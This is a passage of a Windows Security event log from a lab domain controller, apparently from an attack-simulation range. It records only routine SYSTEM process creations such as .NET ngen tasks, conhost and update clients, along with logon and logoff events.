administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254218 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9ec - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x105c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254217 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x105c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x358 - Creator Process Name: C:\Windows\System32\taskhostw.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\NGenTask.exe" /RuntimeWide /StopEvent:876 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254216 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x358 - Creator Process Name: C:\Windows\System32\taskhostw.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\NGenTask.exe" /RuntimeWide /StopEvent:780 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254215 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5b8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1310 - Creator Process Name: C:\Windows\System32\XblGameSaveTask.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254214 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1310 - New Process Name: C:\Windows\System32\XblGameSaveTask.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\System32\XblGameSaveTask.exe standby - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254213 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x10cc - New Process Name: C:\Windows\System32\Speech_OneCore\Common\SpeechModelDownload.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\speech_onecore\common\SpeechModelDownload.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254212 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x124c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10bc - Creator Process Name: C:\Windows\System32\UsoClient.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254211 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10bc - New Process Name: C:\Windows\System32\UsoClient.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\usoclient.exe RefreshSettings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254210 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x358 - New Process Name: C:\Windows\System32\taskhostw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: taskhostw.exe /RuntimeWide - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254223 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xff0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10b0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe" ExecuteQueuedItems /LegacyServiceBehavior - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254222 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc58 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10b0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe" RemoveTaskDelayStartTrigger /LegacyServiceBehavior - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254224 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC823F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:01:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254227 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12bc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 220 -InterruptEvent 0 -NGENProcess 200 -Pipe 224 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254226 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1168 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 200 -InterruptEvent 0 -NGENProcess 15c -Pipe 138 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254225 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd34 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 138 -InterruptEvent 0 -NGENProcess 15c -Pipe 140 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254228 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd8c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 25c -InterruptEvent 0 -NGENProcess 250 -Pipe 258 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254229 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x102c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 23c -InterruptEvent 0 -NGENProcess 15c -Pipe 260 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254231 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8b8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 15c -InterruptEvent 0 -NGENProcess 240 -Pipe 23c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254230 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x370 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 278 -InterruptEvent 0 -NGENProcess 25c -Pipe 27c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254234 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD4F00 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:01:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254233 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD4F00 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62429 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package 